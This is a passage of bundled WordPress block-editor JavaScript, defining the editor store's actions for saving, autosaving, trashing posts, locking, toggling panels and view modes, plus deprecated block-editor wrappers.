  } else if (!isPublished && willPublish) {
    // If publishing or scheduling a post, show the corresponding
    // publish message.
    noticeMessage = {
      publish: postType.labels.item_published,
      private: postType.labels.item_published_privately,
      future: postType.labels.item_scheduled
    }[post.status];
  } else {
    // Generic fallback notice.
    noticeMessage = postType.labels.item_updated;
  }
  const actions = [];
  if (shouldShowLink) {
    actions.push({
      label: isDraft ? (0,external_wp_i18n_namespaceObject.__)('View Preview') : postType.labels.view_item,
      url: post.link
    });
  }
  return [noticeMessage, {
    id: 'editor-save',
    type: 'snackbar',
    actions
  }];
}

/**
 * Builds the fail notification arguments for dispatch.
 *
 * @param {Object} data Incoming data to build the arguments with.
 *
 * @return {Array} Arguments for dispatch. An empty array signals no
 *                 notification should be sent.
 */
function getNotificationArgumentsForSaveFail(data) {
  const {
    post,
    edits,
    error
  } = data;
  if (error && 'rest_autosave_no_changes' === error.code) {
    // Autosave requested a new autosave, but there were no changes. This shouldn't
    // result in an error notice for the user.
    return [];
  }
  const publishStatus = ['publish', 'private', 'future'];
  const isPublished = publishStatus.indexOf(post.status) !== -1;
  // If the post was being published, we show the corresponding publish error message
  // Unless we publish an "updating failed" message.
  const messages = {
    publish: (0,external_wp_i18n_namespaceObject.__)('Publishing failed.'),
    private: (0,external_wp_i18n_namespaceObject.__)('Publishing failed.'),
    future: (0,external_wp_i18n_namespaceObject.__)('Scheduling failed.')
  };
  let noticeMessage = !isPublished && publishStatus.indexOf(edits.status) !== -1 ? messages[edits.status] : (0,external_wp_i18n_namespaceObject.__)('Updating failed.');

  // Check if message string contains HTML. Notice text is currently only
  // supported as plaintext, and stripping the tags may muddle the meaning.
  if (error.message && !/<\/?[^>]*>/.test(error.message)) {
    noticeMessage = [noticeMessage, error.message].join(' ');
  }
  return [noticeMessage, {
    id: 'editor-save'
  }];
}

/**
 * Builds the trash fail notification arguments for dispatch.
 *
 * @param {Object} data
 *
 * @return {Array} Arguments for dispatch.
 */
function getNotificationArgumentsForTrashFail(data) {
  return [data.error.message && data.error.code !== 'unknown_error' ? data.error.message : (0,external_wp_i18n_namespaceObject.__)('Trashing failed'), {
    id: 'editor-trash-fail'
  }];
}

;// ./node_modules/@wordpress/editor/build-module/store/actions.js
/**
 * WordPress dependencies
 */











/**
 * Internal dependencies
 */



/**
 * Returns an action generator used in signalling that editor has initialized with
 * the specified post object and editor settings.
 *
 * @param {Object} post       Post object.
 * @param {Object} edits      Initial edited attributes object.
 * @param {Array}  [template] Block Template.
 */
const setupEditor = (post, edits, template) => ({
  dispatch
}) => {
  dispatch.setEditedPost(post.type, post.id);
  // Apply a template for new posts only, if exists.
  const isNewPost = post.status === 'auto-draft';
  if (isNewPost && template) {
    // In order to ensure maximum of a single parse during setup, edits are
    // included as part of editor setup action. Assume edited content as
    // canonical if provided, falling back to post.
    let content;
    if ('content' in edits) {
      content = edits.content;
    } else {
      content = post.content.raw;
    }
    let blocks = (0,external_wp_blocks_namespaceObject.parse)(content);
    blocks = (0,external_wp_blocks_namespaceObject.synchronizeBlocksWithTemplate)(blocks, template);
    dispatch.resetEditorBlocks(blocks, {
      __unstableShouldCreateUndoLevel: false
    });
  }
  if (edits && Object.values(edits).some(([key, edit]) => {
    var _post$key$raw;
    return edit !== ((_post$key$raw = post[key]?.raw) !== null && _post$key$raw !== void 0 ? _post$key$raw : post[key]);
  })) {
    dispatch.editPost(edits);
  }
};

/**
 * Returns an action object signalling that the editor is being destroyed and
 * that any necessary state or side-effect cleanup should occur.
 *
 * @deprecated
 *
 * @return {Object} Action object.
 */
function __experimentalTearDownEditor() {
  external_wp_deprecated_default()("wp.data.dispatch( 'core/editor' ).__experimentalTearDownEditor", {
    since: '6.5'
  });
  return {
    type: 'DO_NOTHING'
  };
}

/**
 * Returns an action object used in signalling that the latest version of the
 * post has been received, either by initialization or save.
 *
 * @deprecated Since WordPress 6.0.
 */
function resetPost() {
  external_wp_deprecated_default()("wp.data.dispatch( 'core/editor' ).resetPost", {
    since: '6.0',
    version: '6.3',
    alternative: 'Initialize the editor with the setupEditorState action'
  });
  return {
    type: 'DO_NOTHING'
  };
}

/**
 * Returns an action object used in signalling that a patch of updates for the
 * latest version of the post have been received.
 *
 * @return {Object} Action object.
 * @deprecated since Gutenberg 9.7.0.
 */
function updatePost() {
  external_wp_deprecated_default()("wp.data.dispatch( 'core/editor' ).updatePost", {
    since: '5.7',
    alternative: 'Use the core entities store instead'
  });
  return {
    type: 'DO_NOTHING'
  };
}

/**
 * Setup the editor state.
 *
 * @deprecated
 *
 * @param {Object} post Post object.
 */
function setupEditorState(post) {
  external_wp_deprecated_default()("wp.data.dispatch( 'core/editor' ).setupEditorState", {
    since: '6.5',
    alternative: "wp.data.dispatch( 'core/editor' ).setEditedPost"
  });
  return setEditedPost(post.type, post.id);
}

/**
 * Returns an action that sets the current post Type and post ID.
 *
 * @param {string} postType Post Type.
 * @param {string} postId   Post ID.
 *
 * @return {Object} Action object.
 */
function setEditedPost(postType, postId) {
  return {
    type: 'SET_EDITED_POST',
    postType,
    postId
  };
}

/**
 * Returns an action object used in signalling that attributes of the post have
 * been edited.
 *
 * @param {Object} edits     Post attributes to edit.
 * @param {Object} [options] Options for the edit.
 *
 * @example
 * ```js
 * // Update the post title
 * wp.data.dispatch( 'core/editor' ).editPost( { title: `${ newTitle }` } );
 * ```
 *
 * @example
 *```js
 * 	// Get specific media size based on the featured media ID
 * 	// Note: change sizes?.large for any registered size
 * 	const getFeaturedMediaUrl = useSelect( ( select ) => {
 * 		const getFeaturedMediaId =
 * 			select( 'core/editor' ).getEditedPostAttribute( 'featured_media' );
 * 		const getMedia = select( 'core' ).getMedia( getFeaturedMediaId );
 *
 * 		return (
 * 			getMedia?.media_details?.sizes?.large?.source_url || getMedia?.source_url || ''
 * 		);
 * }, [] );
 * ```
 *
 * @return {Object} Action object
 */
const editPost = (edits, options) => ({
  select,
  registry
}) => {
  const {
    id,
    type
  } = select.getCurrentPost();
  registry.dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord('postType', type, id, edits, options);
};

/**
 * Action for saving the current post in the editor.
 *
 * @param {Object} [options]
 */
const savePost = (options = {}) => async ({
  select,
  dispatch,
  registry
}) => {
  if (!select.isEditedPostSaveable()) {
    return;
  }
  const content = select.getEditedPostContent();
  if (!options.isAutosave) {
    dispatch.editPost({
      content
    }, {
      undoIgnore: true
    });
  }
  const previousRecord = select.getCurrentPost();
  let edits = {
    id: previousRecord.id,
    ...registry.select(external_wp_coreData_namespaceObject.store).getEntityRecordNonTransientEdits('postType', previousRecord.type, previousRecord.id),
    content
  };
  dispatch({
    type: 'REQUEST_POST_UPDATE_START',
    options
  });
  let error = false;
  try {
    edits = await (0,external_wp_hooks_namespaceObject.applyFiltersAsync)('editor.preSavePost', edits, options);
  } catch (err) {
    error = err;
  }
  if (!error) {
    try {
      await registry.dispatch(external_wp_coreData_namespaceObject.store).saveEntityRecord('postType', previousRecord.type, edits, options);
    } catch (err) {
      error = err.message && err.code !== 'unknown_error' ? err.message : (0,external_wp_i18n_namespaceObject.__)('An error occurred while updating.');
    }
  }
  if (!error) {
    error = registry.select(external_wp_coreData_namespaceObject.store).getLastEntitySaveError('postType', previousRecord.type, previousRecord.id);
  }

  // Run the hook with legacy unstable name for backward compatibility
  if (!error) {
    try {
      await (0,external_wp_hooks_namespaceObject.applyFilters)('editor.__unstableSavePost', Promise.resolve(), options);
    } catch (err) {
      error = err;
    }
  }
  if (!error) {
    try {
      await (0,external_wp_hooks_namespaceObject.doActionAsync)('editor.savePost', {
        id: previousRecord.id
      }, options);
    } catch (err) {
      error = err;
    }
  }
  dispatch({
    type: 'REQUEST_POST_UPDATE_FINISH',
    options
  });
  if (error) {
    const args = getNotificationArgumentsForSaveFail({
      post: previousRecord,
      edits,
      error
    });
    if (args.length) {
      registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(...args);
    }
  } else {
    const updatedRecord = select.getCurrentPost();
    const args = getNotificationArgumentsForSaveSuccess({
      previousPost: previousRecord,
      post: updatedRecord,
      postType: await registry.resolveSelect(external_wp_coreData_namespaceObject.store).getPostType(updatedRecord.type),
      options
    });
    if (args.length) {
      registry.dispatch(external_wp_notices_namespaceObject.store).createSuccessNotice(...args);
    }
    // Make sure that any edits after saving create an undo level and are
    // considered for change detection.
    if (!options.isAutosave) {
      registry.dispatch(external_wp_blockEditor_namespaceObject.store).__unstableMarkLastChangeAsPersistent();
    }
  }
};

/**
 * Action for refreshing the current post.
 *
 * @deprecated Since WordPress 6.0.
 */
function refreshPost() {
  external_wp_deprecated_default()("wp.data.dispatch( 'core/editor' ).refreshPost", {
    since: '6.0',
    version: '6.3',
    alternative: 'Use the core entities store instead'
  });
  return {
    type: 'DO_NOTHING'
  };
}

/**
 * Action for trashing the current post in the editor.
 */
const trashPost = () => async ({
  select,
  dispatch,
  registry
}) => {
  const postTypeSlug = select.getCurrentPostType();
  const postType = await registry.resolveSelect(external_wp_coreData_namespaceObject.store).getPostType(postTypeSlug);
  const {
    rest_base: restBase,
    rest_namespace: restNamespace = 'wp/v2'
  } = postType;
  dispatch({
    type: 'REQUEST_POST_DELETE_START'
  });
  try {
    const post = select.getCurrentPost();
    await external_wp_apiFetch_default()({
      path: `/${restNamespace}/${restBase}/${post.id}`,
      method: 'DELETE'
    });
    await dispatch.savePost();
  } catch (error) {
    registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(...getNotificationArgumentsForTrashFail({
      error
    }));
  }
  dispatch({
    type: 'REQUEST_POST_DELETE_FINISH'
  });
};

/**
 * Action that autosaves the current post.  This
 * includes server-side autosaving (default) and client-side (a.k.a. local)
 * autosaving (e.g. on the Web, the post might be committed to Session
 * Storage).
 *
 * @param {Object}  [options]       Extra flags to identify the autosave.
 * @param {boolean} [options.local] Whether to perform a local autosave.
 */
const autosave = ({
  local = false,
  ...options
} = {}) => async ({
  select,
  dispatch
}) => {
  const post = select.getCurrentPost();

  // Currently template autosaving is not supported.
  if (post.type === 'wp_template') {
    return;
  }
  if (local) {
    const isPostNew = select.isEditedPostNew();
    const title = select.getEditedPostAttribute('title');
    const content = select.getEditedPostAttribute('content');
    const excerpt = select.getEditedPostAttribute('excerpt');
    localAutosaveSet(post.id, isPostNew, title, content, excerpt);
  } else {
    await dispatch.savePost({
      isAutosave: true,
      ...options
    });
  }
};
const __unstableSaveForPreview = ({
  forceIsAutosaveable
} = {}) => async ({
  select,
  dispatch
}) => {
  if ((forceIsAutosaveable || select.isEditedPostAutosaveable()) && !select.isPostLocked()) {
    const isDraft = ['draft', 'auto-draft'].includes(select.getEditedPostAttribute('status'));
    if (isDraft) {
      await dispatch.savePost({
        isPreview: true
      });
    } else {
      await dispatch.autosave({
        isPreview: true
      });
    }
  }
  return select.getEditedPostPreviewLink();
};

/**
 * Action that restores last popped state in undo history.
 */
const redo = () => ({
  registry
}) => {
  registry.dispatch(external_wp_coreData_namespaceObject.store).redo();
};

/**
 * Action that pops a record from undo history and undoes the edit.
 */
const undo = () => ({
  registry
}) => {
  registry.dispatch(external_wp_coreData_namespaceObject.store).undo();
};

/**
 * Action that creates an undo history record.
 *
 * @deprecated Since WordPress 6.0
 */
function createUndoLevel() {
  external_wp_deprecated_default()("wp.data.dispatch( 'core/editor' ).createUndoLevel", {
    since: '6.0',
    version: '6.3',
    alternative: 'Use the core entities store instead'
  });
  return {
    type: 'DO_NOTHING'
  };
}

/**
 * Action that locks the editor.
 *
 * @param {Object} lock Details about the post lock status, user, and nonce.
 * @return {Object} Action object.
 */
function updatePostLock(lock) {
  return {
    type: 'UPDATE_POST_LOCK',
    lock
  };
}

/**
 * Enable the publish sidebar.
 */
const enablePublishSidebar = () => ({
  registry
}) => {
  registry.dispatch(external_wp_preferences_namespaceObject.store).set('core', 'isPublishSidebarEnabled', true);
};

/**
 * Disables the publish sidebar.
 */
const disablePublishSidebar = () => ({
  registry
}) => {
  registry.dispatch(external_wp_preferences_namespaceObject.store).set('core', 'isPublishSidebarEnabled', false);
};

/**
 * Action that locks post saving.
 *
 * @param {string} lockName The lock name.
 *
 * @example
 * ```
 * const { subscribe } = wp.data;
 *
 * const initialPostStatus = wp.data.select( 'core/editor' ).getEditedPostAttribute( 'status' );
 *
 * // Only allow publishing posts that are set to a future date.
 * if ( 'publish' !== initialPostStatus ) {
 *
 * 	// Track locking.
 * 	let locked = false;
 *
 * 	// Watch for the publish event.
 * 	let unssubscribe = subscribe( () => {
 * 		const currentPostStatus = wp.data.select( 'core/editor' ).getEditedPostAttribute( 'status' );
 * 		if ( 'publish' !== currentPostStatus ) {
 *
 * 			// Compare the post date to the current date, lock the post if the date isn't in the future.
 * 			const postDate = new Date( wp.data.select( 'core/editor' ).getEditedPostAttribute( 'date' ) );
 * 			const currentDate = new Date();
 * 			if ( postDate.getTime() <= currentDate.getTime() ) {
 * 				if ( ! locked ) {
 * 					locked = true;
 * 					wp.data.dispatch( 'core/editor' ).lockPostSaving( 'futurelock' );
 * 				}
 * 			} else {
 * 				if ( locked ) {
 * 					locked = false;
 * 					wp.data.dispatch( 'core/editor' ).unlockPostSaving( 'futurelock' );
 * 				}
 * 			}
 * 		}
 * 	} );
 * }
 * ```
 *
 * @return {Object} Action object
 */
function lockPostSaving(lockName) {
  return {
    type: 'LOCK_POST_SAVING',
    lockName
  };
}

/**
 * Action that unlocks post saving.
 *
 * @param {string} lockName The lock name.
 *
 * @example
 * ```
 * // Unlock post saving with the lock key `mylock`:
 * wp.data.dispatch( 'core/editor' ).unlockPostSaving( 'mylock' );
 * ```
 *
 * @return {Object} Action object
 */
function unlockPostSaving(lockName) {
  return {
    type: 'UNLOCK_POST_SAVING',
    lockName
  };
}

/**
 * Action that locks post autosaving.
 *
 * @param {string} lockName The lock name.
 *
 * @example
 * ```
 * // Lock post autosaving with the lock key `mylock`:
 * wp.data.dispatch( 'core/editor' ).lockPostAutosaving( 'mylock' );
 * ```
 *
 * @return {Object} Action object
 */
function lockPostAutosaving(lockName) {
  return {
    type: 'LOCK_POST_AUTOSAVING',
    lockName
  };
}

/**
 * Action that unlocks post autosaving.
 *
 * @param {string} lockName The lock name.
 *
 * @example
 * ```
 * // Unlock post saving with the lock key `mylock`:
 * wp.data.dispatch( 'core/editor' ).unlockPostAutosaving( 'mylock' );
 * ```
 *
 * @return {Object} Action object
 */
function unlockPostAutosaving(lockName) {
  return {
    type: 'UNLOCK_POST_AUTOSAVING',
    lockName
  };
}

/**
 * Returns an action object used to signal that the blocks have been updated.
 *
 * @param {Array}  blocks    Block Array.
 * @param {Object} [options] Optional options.
 */
const resetEditorBlocks = (blocks, options = {}) => ({
  select,
  dispatch,
  registry
}) => {
  const {
    __unstableShouldCreateUndoLevel,
    selection
  } = options;
  const edits = {
    blocks,
    selection
  };
  if (__unstableShouldCreateUndoLevel !== false) {
    const {
      id,
      type
    } = select.getCurrentPost();
    const noChange = registry.select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord('postType', type, id).blocks === edits.blocks;
    if (noChange) {
      registry.dispatch(external_wp_coreData_namespaceObject.store).__unstableCreateUndoLevel('postType', type, id);
      return;
    }

    // We create a new function here on every persistent edit
    // to make sure the edit makes the post dirty and creates
    // a new undo level.
    edits.content = ({
      blocks: blocksForSerialization = []
    }) => (0,external_wp_blocks_namespaceObject.__unstableSerializeAndClean)(blocksForSerialization);
  }
  dispatch.editPost(edits);
};

/*
 * Returns an action object used in signalling that the post editor settings have been updated.
 *
 * @param {Object} settings Updated settings
 *
 * @return {Object} Action object
 */
function updateEditorSettings(settings) {
  return {
    type: 'UPDATE_EDITOR_SETTINGS',
    settings
  };
}

/**
 * Returns an action used to set the rendering mode of the post editor. We support multiple rendering modes:
 *
 * -   `post-only`: This mode extracts the post blocks from the template and renders only those. The idea is to allow the user to edit the post/page in isolation without the wrapping template.
 * -   `template-locked`: This mode renders both the template and the post blocks but the template blocks are locked and can't be edited. The post blocks are editable.
 *
 * @param {string} mode Mode (one of 'post-only' or 'template-locked').
 */
const setRenderingMode = mode => ({
  dispatch,
  registry,
  select
}) => {
  if (select.__unstableIsEditorReady()) {
    // We clear the block selection but we also need to clear the selection from the core store.
    registry.dispatch(external_wp_blockEditor_namespaceObject.store).clearSelectedBlock();
    dispatch.editPost({
      selection: undefined
    }, {
      undoIgnore: true
    });
  }
  dispatch({
    type: 'SET_RENDERING_MODE',
    mode
  });
};

/**
 * Action that changes the width of the editing canvas.
 *
 * @param {string} deviceType
 *
 * @return {Object} Action object.
 */
function setDeviceType(deviceType) {
  return {
    type: 'SET_DEVICE_TYPE',
    deviceType
  };
}

/**
 * Returns an action object used to enable or disable a panel in the editor.
 *
 * @param {string} panelName A string that identifies the panel to enable or disable.
 *
 * @return {Object} Action object.
 */
const toggleEditorPanelEnabled = panelName => ({
  registry
}) => {
  var _registry$select$get;
  const inactivePanels = (_registry$select$get = registry.select(external_wp_preferences_namespaceObject.store).get('core', 'inactivePanels')) !== null && _registry$select$get !== void 0 ? _registry$select$get : [];
  const isPanelInactive = !!inactivePanels?.includes(panelName);

  // If the panel is inactive, remove it to enable it, else add it to
  // make it inactive.
  let updatedInactivePanels;
  if (isPanelInactive) {
    updatedInactivePanels = inactivePanels.filter(invactivePanelName => invactivePanelName !== panelName);
  } else {
    updatedInactivePanels = [...inactivePanels, panelName];
  }
  registry.dispatch(external_wp_preferences_namespaceObject.store).set('core', 'inactivePanels', updatedInactivePanels);
};

/**
 * Opens a closed panel and closes an open panel.
 *
 * @param {string} panelName A string that identifies the panel to open or close.
 */
const toggleEditorPanelOpened = panelName => ({
  registry
}) => {
  var _registry$select$get2;
  const openPanels = (_registry$select$get2 = registry.select(external_wp_preferences_namespaceObject.store).get('core', 'openPanels')) !== null && _registry$select$get2 !== void 0 ? _registry$select$get2 : [];
  const isPanelOpen = !!openPanels?.includes(panelName);

  // If the panel is open, remove it to close it, else add it to
  // make it open.
  let updatedOpenPanels;
  if (isPanelOpen) {
    updatedOpenPanels = openPanels.filter(openPanelName => openPanelName !== panelName);
  } else {
    updatedOpenPanels = [...openPanels, panelName];
  }
  registry.dispatch(external_wp_preferences_namespaceObject.store).set('core', 'openPanels', updatedOpenPanels);
};

/**
 * Returns an action object used to remove a panel from the editor.
 *
 * @param {string} panelName A string that identifies the panel to remove.
 *
 * @return {Object} Action object.
 */
function removeEditorPanel(panelName) {
  return {
    type: 'REMOVE_PANEL',
    panelName
  };
}

/**
 * Returns an action object used to open/close the inserter.
 *
 * @param {boolean|Object} value                Whether the inserter should be
 *                                              opened (true) or closed (false).
 *                                              To specify an insertion point,
 *                                              use an object.
 * @param {string}         value.rootClientId   The root client ID to insert at.
 * @param {number}         value.insertionIndex The index to insert at.
 * @param {string}         value.filterValue    A query to filter the inserter results.
 * @param {Function}       value.onSelect       A callback when an item is selected.
 * @param {string}         value.tab            The tab to open in the inserter.
 * @param {string}         value.category       The category to initialize in the inserter.
 *
 * @return {Object} Action object.
 */
const setIsInserterOpened = value => ({
  dispatch,
  registry
}) => {
  if (typeof value === 'object' && value.hasOwnProperty('rootClientId') && value.hasOwnProperty('insertionIndex')) {
    unlock(registry.dispatch(external_wp_blockEditor_namespaceObject.store)).setInsertionPoint({
      rootClientId: value.rootClientId,
      index: value.insertionIndex
    });
  }
  dispatch({
    type: 'SET_IS_INSERTER_OPENED',
    value
  });
};

/**
 * Returns an action object used to open/close the list view.
 *
 * @param {boolean} isOpen A boolean representing whether the list view should be opened or closed.
 * @return {Object} Action object.
 */
function setIsListViewOpened(isOpen) {
  return {
    type: 'SET_IS_LIST_VIEW_OPENED',
    isOpen
  };
}

/**
 * Action that toggles Distraction free mode.
 * Distraction free mode expects there are no sidebars, as due to the
 * z-index values set, you can't close sidebars.
 *
 * @param {Object}  [options={}]                Optional configuration object
 * @param {boolean} [options.createNotice=true] Whether to create a notice
 */
const toggleDistractionFree = ({
  createNotice = true
} = {}) => ({
  dispatch,
  registry
}) => {
  const isDistractionFree = registry.select(external_wp_preferences_namespaceObject.store).get('core', 'distractionFree');
  if (isDistractionFree) {
    registry.dispatch(external_wp_preferences_namespaceObject.store).set('core', 'fixedToolbar', false);
  }
  if (!isDistractionFree) {
    registry.batch(() => {
      registry.dispatch(external_wp_preferences_namespaceObject.store).set('core', 'fixedToolbar', true);
      dispatch.setIsInserterOpened(false);
      dispatch.setIsListViewOpened(false);
      unlock(registry.dispatch(external_wp_blockEditor_namespaceObject.store)).resetZoomLevel();
    });
  }
  registry.batch(() => {
    registry.dispatch(external_wp_preferences_namespaceObject.store).set('core', 'distractionFree', !isDistractionFree);
    if (createNotice) {
      registry.dispatch(external_wp_notices_namespaceObject.store).createInfoNotice(isDistractionFree ? (0,external_wp_i18n_namespaceObject.__)('Distraction free mode deactivated.') : (0,external_wp_i18n_namespaceObject.__)('Distraction free mode activated.'), {
        id: 'core/editor/distraction-free-mode/notice',
        type: 'snackbar',
        actions: [{
          label: (0,external_wp_i18n_namespaceObject.__)('Undo'),
          onClick: () => {
            registry.batch(() => {
              registry.dispatch(external_wp_preferences_namespaceObject.store).set('core', 'fixedToolbar', isDistractionFree);
              registry.dispatch(external_wp_preferences_namespaceObject.store).toggle('core', 'distractionFree');
            });
          }
        }]
      });
    }
  });
};

/**
 * Action that toggles the Spotlight Mode view option.
 */
const toggleSpotlightMode = () => ({
  registry
}) => {
  registry.dispatch(external_wp_preferences_namespaceObject.store).toggle('core', 'focusMode');
  const isFocusMode = registry.select(external_wp_preferences_namespaceObject.store).get('core', 'focusMode');
  registry.dispatch(external_wp_notices_namespaceObject.store).createInfoNotice(isFocusMode ? (0,external_wp_i18n_namespaceObject.__)('Spotlight mode activated.') : (0,external_wp_i18n_namespaceObject.__)('Spotlight mode deactivated.'), {
    id: 'core/editor/toggle-spotlight-mode/notice',
    type: 'snackbar',
    actions: [{
      label: (0,external_wp_i18n_namespaceObject.__)('Undo'),
      onClick: () => {
        registry.dispatch(external_wp_preferences_namespaceObject.store).toggle('core', 'focusMode');
      }
    }]
  });
};

/**
 * Action that toggles the Top Toolbar view option.
 */
const toggleTopToolbar = () => ({
  registry
}) => {
  registry.dispatch(external_wp_preferences_namespaceObject.store).toggle('core', 'fixedToolbar');
  const isTopToolbar = registry.select(external_wp_preferences_namespaceObject.store).get('core', 'fixedToolbar');
  registry.dispatch(external_wp_notices_namespaceObject.store).createInfoNotice(isTopToolbar ? (0,external_wp_i18n_namespaceObject.__)('Top toolbar activated.') : (0,external_wp_i18n_namespaceObject.__)('Top toolbar deactivated.'), {
    id: 'core/editor/toggle-top-toolbar/notice',
    type: 'snackbar',
    actions: [{
      label: (0,external_wp_i18n_namespaceObject.__)('Undo'),
      onClick: () => {
        registry.dispatch(external_wp_preferences_namespaceObject.store).toggle('core', 'fixedToolbar');
      }
    }]
  });
};

/**
 * Triggers an action used to switch editor mode.
 *
 * @param {string} mode The editor mode.
 */
const switchEditorMode = mode => ({
  dispatch,
  registry
}) => {
  registry.dispatch(external_wp_preferences_namespaceObject.store).set('core', 'editorMode', mode);
  if (mode !== 'visual') {
    // Unselect blocks when we switch to a non visual mode.
    registry.dispatch(external_wp_blockEditor_namespaceObject.store).clearSelectedBlock();
    // Exit zoom out state when switching to a non visual mode.
    unlock(registry.dispatch(external_wp_blockEditor_namespaceObject.store)).resetZoomLevel();
  }
  if (mode === 'visual') {
    (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.__)('Visual editor selected'), 'assertive');
  } else if (mode === 'text') {
    const isDistractionFree = registry.select(external_wp_preferences_namespaceObject.store).get('core', 'distractionFree');
    if (isDistractionFree) {
      dispatch.toggleDistractionFree();
    }
    (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.__)('Code editor selected'), 'assertive');
  }
};

/**
 * Returns an action object used in signalling that the user opened the publish
 * sidebar.
 *
 * @return {Object} Action object
 */
function openPublishSidebar() {
  return {
    type: 'OPEN_PUBLISH_SIDEBAR'
  };
}

/**
 * Returns an action object used in signalling that the user closed the
 * publish sidebar.
 *
 * @return {Object} Action object.
 */
function closePublishSidebar() {
  return {
    type: 'CLOSE_PUBLISH_SIDEBAR'
  };
}

/**
 * Returns an action object used in signalling that the user toggles the publish sidebar.
 *
 * @return {Object} Action object
 */
function togglePublishSidebar() {
  return {
    type: 'TOGGLE_PUBLISH_SIDEBAR'
  };
}

/**
 * Backward compatibility
 */

const getBlockEditorAction = name => (...args) => ({
  registry
}) => {
  external_wp_deprecated_default()("`wp.data.dispatch( 'core/editor' )." + name + '`', {
    since: '5.3',
    alternative: "`wp.data.dispatch( 'core/block-editor' )." + name + '`',
    version: '6.2'
  });
  registry.dispatch(external_wp_blockEditor_namespaceObject.store)[name](...args);
};

/**
 * @see resetBlocks in core/block-editor store.
 */
const resetBlocks = getBlockEditorAction('resetBlocks');

/**
 * @see receiveBlocks in core/block-editor store.
 */
const receiveBlocks = getBlockEditorAction('receiveBlocks');

/**
 * @see updateBlock in core/block-editor store.
 */
const updateBlock = getBlockEditorAction('updateBlock');

/**
 * @see updateBlockAttributes in core/block-editor store.
 */
const updateBlockAttributes = getBlockEditorAction('updateBlockAttributes');

/**
 * @see selectBlock in core/block-editor store.
 */
const selectBlock = getBlockEditorAction('selectBlock');

/**
 * @see startMultiSelect in core/block-editor store.
 */
const startMultiSelect = getBlockEditorAction('startMultiSelect');

/**
 * @see stopMultiSelect in core/block-editor store.
 */
const stopMultiSelect = getBlockEditorAction('stopMultiSelect');

/**
 * @see multiSelect in core/block-editor store.
 */
const multiSelect = getBlockEditorAction('multiSelect');

/**
 * @see clearSelectedBlock in core/block-editor store.
 */
const clearSelectedBlock = getBlockEditorAction('clearSelectedBlock');

/**
 * @see toggleSelection in core/block-editor store.
 */
const toggleSelection = getBlockEditorAction('toggleSelection');

/**
 * @see replaceBlocks in core/block-editor store.
 */
const replaceBlocks = getBlockEditorAction('replaceBlocks');

/**
 * @see replaceBlock in core/block-editor store.
 */
const replaceBlock = getBlockEditorAction('replaceBlock');

/**
 * @see moveBlocksDown in core/block-editor store.
 */
const moveBlocksDown = getBlockEditorAction('moveBlocksDown');

/**
 * @see moveBlocksUp in core/block-editor store.
 */
const moveBlocksUp = getBlockEditorAction('moveBlocksUp');

/**
 * @see moveBlockToPosition in core/block-editor store.
 */
const moveBlockToPosition = getBlockEditorAction('moveBlockToPosition');

/**
 * @see insertBlock in core/block-editor store.
 */
const insertBlock = getBlockEditorAction('insertBlock');

/**
 * @see insertBlocks in core/block-editor store.
 */
const insertBlocks = getBlockEditorAction('insertBlocks');

/**
 * @see showInsertionPoint in core/block-editor store.
 */
const showInsertionPoint = getBlockEditorAction('showInsertionPoint');

/**
 * @see hideInsertionPoint in core/block-editor store.
 */
const hideInsertionPoint = getBlockEditorAction('hideInsertionPoint');

/**
 * @see setTemplateValidity in core/block-editor store.
 */
const setTemplateValidity = getBlockEditorAction('setTemplateValidity');

/**
 * @see synchronizeTemplate in core/block-editor store.
 */
const synchronizeTemplate = getBlockEditorAction('synchronizeTemplate');

/**
 * @see mergeBlocks in core/block-editor store.
 */
const mergeBlocks = getBlockEditorAction('mergeBlocks');

/**
 * @see removeBlocks in core/block-editor store.
 */
const removeBlocks = getBlockEditorAction('removeBlocks');

/**
 * @see removeBlock in core/block-editor store.
 */
const removeBlock = getBlockEditorAction('removeBlock');

/**
 * @see toggleBlockMode in core/block-editor store.
 */
const toggleBlockMode = getBlockEditorAction('toggleBlockMode');

/**
 * @see startTyping in core/block-editor store.
 */
const startTyping = getBlockEditorAction('startTyping');

/**
 * @see stopTyping in core/block-editor store.
 */
const stopTyping = getBlockEditorAction('stopTyping');

/**
 * @see enterFormattedText in core/block-editor store.
 */
const enterFormattedText = getBlockEditorAction('enterFormattedText');

/**
 * @see exitFormattedText in core/block-editor store.
 */
const exitFormattedText = getBlockEditorAction('exitFormattedText');

/**
 * @see insertDefaultBlock in core/block-editor store.
 */
const insertDefaultBlock = getBlockEditorAction('insertDefaultBlock');

/**
 * @see updateBlockListSettings in core/block-editor store.
 */
const updateBlockListSettings = getBlockEditorAction('updateBlockListSettings');

;// external ["wp","htmlEntities"]
const external_wp_htmlEntities_namespaceObject = window["wp"]["htmlEntities"];
;// ./node_modules/@wordpress/editor/build-module/store/utils/is-template-revertable.js
/**
 * Internal dependencies
 */


// Copy of the function from packages/edit-site/src/utils/is-template-revertable.js

/**
 * Check if a template or template part is revertable to its original theme-provided file.
 *
 * @param {Object} templateOrTemplatePart The entity to check.
 * @return {boolean} Whether the entity is revertable.
 */
function isTemplateRevertable(templateOrTemplatePart) {
  if (!templateOrTemplatePart) {
    return false;
  }
  return templateOrTemplatePart.source === TEMPLATE_ORIGINS.custom && (Boolean(templateOrTemplatePart?.plugin) || templateOrTemplatePart?.has_theme_file);
}

;// ./node_modules/@wordpress/icons/build-module/library/external.js
/**
 * WordPress dependencies
 */


const external = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z"
  })
});
/* harmony default export */ const library_external = (external);

;// ./node_modules/@wordpress/fields/build-module/actions/view-post.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

const viewPost = {
  id: 'view-post',
